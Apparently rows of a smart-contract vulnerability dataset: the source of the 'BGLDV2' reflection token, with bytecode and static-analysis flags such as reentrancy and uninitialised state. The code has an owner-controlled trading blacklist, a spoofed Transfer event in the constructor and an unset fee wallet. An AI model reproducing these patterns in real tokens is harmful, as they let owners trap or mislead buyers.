9050600061383182613823858761358c90919063ffffffff16565b61358c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061385d613858846141f5565b6141d0565b9050808382526020820190508285602086028201111561387c57600080fd5b60005b858110156138ac578161389288826138b6565b84526020840193506020830192505060018101905061387f565b5050509392505050565b6000813590506138c5816148d1565b92915050565b6000815190506138da816148d1565b92915050565b600082601f8301126138f157600080fd5b813561390184826020860161384a565b91505092915050565b600081359050613919816148e8565b92915050565b60008151905061392e816148e8565b92915050565b600081359050613943816148ff565b92915050565b600081519050613958816148ff565b92915050565b60006020828403121561397057600080fd5b600061397e848285016138b6565b91505092915050565b60006020828403121561399957600080fd5b60006139a7848285016138cb565b91505092915050565b600080604083850312156139c357600080fd5b60006139d1858286016138b6565b92505060206139e2858286016138b6565b9150509250929050565b600080600060608486031215613a0157600080fd5b6000613a0f868287016138b6565b9350506020613a20868287016138b6565b9250506040613a3186828701613934565b9150509250925092565b60008060408385031215613a4e57600080fd5b6000613a5c858286016138b6565b9250506020613a6d85828601613934565b9150509250929050565b600060208284031215613a8957600080fd5b600082013567ffffffffffffffff811115613aa357600080fd5b613aaf848285016138e0565b91505092915050565b600060208284031215613aca57600080fd5b6000613ad88482850161390a565b91505092915050565b600060208284031215613af357600080fd5b6000613b018482850161391f565b91505092915050565b600060208284031215613b1c57600080fd5b6000613b2a84828501613934565b91505092915050565b600080600060608486031215613b4857600080fd5b6000613b5686828701613949565b9350506020613b6786828701613949565b9250506040613b7886828701613949565b9150509250925092565b6000613b8e8383613b9a565b60208301905092915050565b613ba38161438b565b82525050565b613bb28161438b565b82525050565b6000613bc382614231565b613bcd8185614254565b9350613bd883614221565b8060005b83811015613c09578151613bf08882613b82565b9750613bfb83614247565b925050600181019050613bdc565b5085935050505092915050565b613c1f8161439d565b82525050565b613c2e816143e0565b82525050565b6000613c3f8261423c565b613c498185614265565b9350613c598185602086016143f2565b613c628161452c565b840191505092915050565b6000613c7a602383614265565b9150613c858261453d565b604082019050919050565b6000613c9d602a83614265565b9150613ca88261458c565b604082019050919050565b6000613cc0602283614265565b9150613ccb826145db565b604082019050919050565b6000613ce3602283614265565b9150613cee8261462a565b604082019050919050565b6000613d06601b83614265565b9150613d1182614679565b602082019050919050565b6000613d29601583614265565b9150613d34826146a2565b602082019050919050565b6000613d4c602383614265565b9150613d57826146cb565b604082019050919050565b6000613d6f602183614265565b9150613d7a8261471a565b604082019050919050565b6000613d92602083614265565b9150613d9d82614769565b602082019050919050565b6000613db5602983614265565b9150613dc082614792565b604082019050919050565b6000613dd8602583614265565b9150613de3826147e1565b604082019050919050565b6000613dfb602483614265565b9150613e0682614830565b604082019050919050565b6000613e1e601783614265565b9150613e298261487f565b602082019050919050565b6000613e41601883614265565b9150613e4c826148a8565b602082019050919050565b613e60816143c9565b82525050565b613e6f816143d3565b82525050565b6000602082019050613e8a6000830184613ba9565b92915050565b6000604082019050613ea56000830185613ba9565b613eb26020830184613ba9565b9392505050565b6000604082019050613ece6000830185613ba9565b613edb6020830184613e57565b9392505050565b600060c082019050613ef76000830189613ba9565b613f046020830188613e57565b613f116040830187613c25565b613f1e6060830186613c25565b613f2b6080830185613ba9565b613f3860a0830184613e57565b979650505050505050565b6000602082019050613f586000830184613c16565b92915050565b60006020820190508181036000830152613f788184613c34565b905092915050565b60006020820190508181036000830152613f9981613c6d565b9050919050565b60006020820190508181036000830152613fb981613c90565b9050919050565b60006020820190508181036000830152613fd981613cb3565b9050919050565b60006020820190508181036000830152613ff981613cd6565b9050919050565b6000602082019050818103600083015261401981613cf9565b9050919050565b6000602082019050818103600083015261403981613d1c565b9050919050565b6000602082019050818103600083015261405981613d3f565b9050919050565b6000602082019050818103600083015261407981613d62565b9050919050565b6000602082019050818103600083015261409981613d85565b9050919050565b600060208201905081810360008301526140b981613da8565b9050919050565b600060208201905081810360008301526140d981613dcb565b9050919050565b600060208201905081810360008301526140f981613dee565b9050919050565b6000602082019050818103600083015261411981613e11565b9050919050565b6000602082019050818103600083015261413981613e34565b9050919050565b60006020820190506141556000830184613e57565b92915050565b600060a0820190506141706000830188613e57565b61417d6020830187613c25565b818103604083015261418f8186613bb8565b905061419e6060830185613ba9565b6141ab6080830184613e57565b9695505050505050565b60006020820190506141ca6000830184613e66565b92915050565b60006141da6141eb565b90506141e68282614425565b919050565b6000604051905090565b600067ffffffffffffffff8211156142105761420f6144fd565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614281826143c9565b915061428c836143c9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156142c1576142c061449f565b5b828201905092915050565b60006142d7826143c9565b91506142e2836143c9565b9250826142f2576142f16144ce565b5b828204905092915050565b6000614308826143c9565b9150614313836143c9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561434c5761434b61449f565b5b828202905092915050565b6000614362826143c9565b915061436d836143c9565b9250828210156143805761437f61449f565b5b828203905092915050565b6000614396826143a9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006143eb826143c9565b9050919050565b60005b838110156144105780820151818401526020810190506143f5565b8381111561441f576000848401525b50505050565b61442e8261452c565b810181811067ffffffffffffffff8211171561444d5761444c6144fd565b5b80604052505050565b6000614461826143c9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156144945761449361449f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6148da8161438b565b81146148e557600080fd5b50565b6148f18161439d565b81146148fc57600080fd5b50565b614908816143c9565b811461491357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d6d4a330d497cc32916deb912d1b88e49e07e2d5a8d40afc08686189f334924064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,760 |
0x7e20ff98f553dc1b6f1fa5b29781dd6afe1ff23d
|
/**
*Submitted for verification at Etherscan.io on 2021-10-18
*/
/**
*Submitted for verification at Etherscan.io on 2021-10-13
*/
/**
Join Our Telegram: https://t.me/BGLDofficial
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BGLDV2 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "BGLDV2";
string private constant _symbol = "BGLDV2";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xb5C616B24587cdE96303354e1f26981D9dce6BFE);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x2E5a587193A560cb6C737E48da7597Dc338d5cD7), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610291578063b515566a146102b1578063c3c8cd80146102d1578063c9567bf9146102e6578063dd62ed3e146102fb57600080fd5b806370a0823114610234578063715018a6146102545780638da5cb5b1461026957806395d89b411461010e57600080fd5b8063273123b7116100d1578063273123b7146101c1578063313ce567146101e35780635932ead1146101ff5780636fc3eaec1461021f57600080fd5b806306fdde031461010e578063095ea7b31461014c57806318160ddd1461017c57806323b872dd146101a157600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201825260068152652123a6222b1960d11b602082015290516101439190611756565b60405180910390f35b34801561015857600080fd5b5061016c6101673660046115ff565b610341565b6040519015158152602001610143565b34801561018857600080fd5b5067016345785d8a00005b604051908152602001610143565b3480156101ad57600080fd5b5061016c6101bc3660046115bf565b610358565b3480156101cd57600080fd5b506101e16101dc36600461154f565b6103c1565b005b3480156101ef57600080fd5b5060405160098152602001610143565b34801561020b57600080fd5b506101e161021a3660046116f1565b610415565b34801561022b57600080fd5b506101e161045d565b34801561024057600080fd5b5061019361024f36600461154f565b61048a565b34801561026057600080fd5b506101e16104ac565b34801561027557600080fd5b506000546040516001600160a01b039091168152602001610143565b34801561029d57600080fd5b5061016c6102ac3660046115ff565b610520565b3480156102bd57600080fd5b506101e16102cc36600461162a565b61052d565b3480156102dd57600080fd5b506101e16105d1565b3480156102f257600080fd5b506101e1610607565b34801561030757600080fd5b50610193610316366004611587565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061034e3384846109c9565b5060015b92915050565b6000610365848484610aed565b6103b784336103b285604051806060016040528060288152602001611927602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e35565b6109c9565b5060019392505050565b6000546001600160a01b031633146103f45760405162461bcd60e51b81526004016103eb906117a9565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461043f5760405162461bcd60e51b81526004016103eb906117a9565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461047d57600080fd5b4761048781610e6f565b50565b6001600160a01b03811660009081526002602052604081205461035290610eb1565b6000546001600160a01b031633146104d65760405162461bcd60e51b81526004016103eb906117a9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061034e338484610aed565b6000546001600160a01b031633146105575760405162461bcd60e51b81526004016103eb906117a9565b60005b81518110156105cd5760016006600084848151811061058957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105c5816118bc565b91505061055a565b5050565b600c546001600160a01b0316336001600160a01b0316146105f157600080fd5b60006105fc3061048a565b905061048781610f35565b6000546001600160a01b031633146106315760405162461bcd60e51b81526004016103eb906117a9565b600f54600160a01b900460ff161561068b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103eb565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106c7308267016345785d8a00006109c9565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561070057600080fd5b505afa158015610714573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610738919061156b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561078057600080fd5b505afa158015610794573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b8919061156b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561080057600080fd5b505af1158015610814573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610838919061156b565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108688161048a565b60008061087d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108e057600080fd5b505af11580156108f4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109199190611729565b5050600f8054670de0b6b3a764000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561099157600080fd5b505af11580156109a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105cd919061170d565b6001600160a01b038316610a2b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103eb565b6001600160a01b038216610a8c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103eb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103eb565b6001600160a01b038216610bb35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103eb565b60008111610c155760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103eb565b6002600a556008600b556000546001600160a01b03848116911614801590610c4b57506000546001600160a01b03838116911614155b15610e25576001600160a01b03831660009081526006602052604090205460ff16158015610c9257506001600160a01b03821660009081526006602052604090205460ff16155b610c9b57600080fd5b600f546001600160a01b038481169116148015610cc65750600e546001600160a01b03838116911614155b8015610ceb57506001600160a01b03821660009081526005602052604090205460ff16155b8015610d005750600f54600160b81b900460ff165b15610d5d57601054811115610d1457600080fd5b6001600160a01b0382166000908152600760205260409020544211610d3857600080fd5b610d4342601e61184e565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610d885750600e546001600160a01b03848116911614155b8015610dad57506001600160a01b03831660009081526005602052604090205460ff16155b15610db8576002600a555b6000610dc33061048a565b600f54909150600160a81b900460ff16158015610dee5750600f546001600160a01b03858116911614155b8015610e035750600f54600160b01b900460ff165b15610e2357610e1181610f35565b478015610e2157610e2147610e6f565b505b505b610e308383836110da565b505050565b60008184841115610e595760405162461bcd60e51b81526004016103eb9190611756565b506000610e6684866118a5565b95945050505050565b600c546001600160a01b03166108fc610e898360026110e5565b6040518115909202916000818181858888f193505050501580156105cd573d6000803e3d6000fd5b6000600854821115610f185760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103eb565b6000610f22611127565b9050610f2e83826110e5565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f8b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610fdf57600080fd5b505afa158015610ff3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611017919061156b565b8160018151811061103857634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e5461105e91309116846109c9565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110979085906000908690309042906004016117de565b600060405180830381600087803b1580156110b157600080fd5b505af11580156110c5573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e3083838361114a565b6000610f2e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611241565b600080600061113461126f565b909250905061114382826110e5565b9250505090565b60008060008060008061115c876112af565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061118e908761130c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111bd908661134e565b6001600160a01b0389166000908152600260205260409020556111df816113ad565b6111e984836113f7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161122e91815260200190565b60405180910390a3505050505050505050565b600081836112625760405162461bcd60e51b81526004016103eb9190611756565b506000610e668486611866565b600854600090819067016345785d8a000061128a82826110e5565b8210156112a65750506008549267016345785d8a000092509050565b90939092509050565b60008060008060008060008060006112cc8a600a54600b5461141b565b92509250925060006112dc611127565b905060008060006112ef8e878787611470565b919e509c509a509598509396509194505050505091939550919395565b6000610f2e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e35565b60008061135b838561184e565b905083811015610f2e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103eb565b60006113b7611127565b905060006113c583836114c0565b306000908152600260205260409020549091506113e2908261134e565b30600090815260026020526040902055505050565b600854611404908361130c565b600855600954611414908261134e565b6009555050565b6000808080611435606461142f89896114c0565b906110e5565b90506000611448606461142f8a896114c0565b905060006114608261145a8b8661130c565b9061130c565b9992985090965090945050505050565b600080808061147f88866114c0565b9050600061148d88876114c0565b9050600061149b88886114c0565b905060006114ad8261145a868661130c565b939b939a50919850919650505050505050565b6000826114cf57506000610352565b60006114db8385611886565b9050826114e88583611866565b14610f2e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103eb565b803561154a81611903565b919050565b600060208284031215611560578081fd5b8135610f2e81611903565b60006020828403121561157c578081fd5b8151610f2e81611903565b60008060408385031215611599578081fd5b82356115a481611903565b915060208301356115b481611903565b809150509250929050565b6000806000606084860312156115d3578081fd5b83356115de81611903565b925060208401356115ee81611903565b929592945050506040919091013590565b60008060408385031215611611578182fd5b823561161c81611903565b946020939093013593505050565b6000602080838503121561163c578182fd5b823567ffffffffffffffff80821115611653578384fd5b818501915085601f830112611666578384fd5b813581811115611678576116786118ed565b8060051b604051601f19603f8301168101818110858211171561169d5761169d6118ed565b604052828152858101935084860182860187018a10156116bb578788fd5b8795505b838610156116e4576116d08161153f565b8552600195909501949386019386016116bf565b5098975050505050505050565b600060208284031215611702578081fd5b8135610f2e81611918565b60006020828403121561171e578081fd5b8151610f2e81611918565b60008060006060848603121561173d578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561178257858101830151858201604001528201611766565b818111156117935783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561182d5784516001600160a01b031683529383019391830191600101611808565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611861576118616118d7565b500190565b60008261188157634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156118a0576118a06118d7565b500290565b6000828210156118b7576118b76118d7565b500390565b60006000198214156118d0576118d06118d7565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048757600080fd5b801515811461048757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bb5f129f40e36529d25d02d221193ce049eac21b35beb4cd5feea863b8bc6ac164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,761 |
0x046e6bea4d53727ccedc2c252ea61d042ff7aba6
|
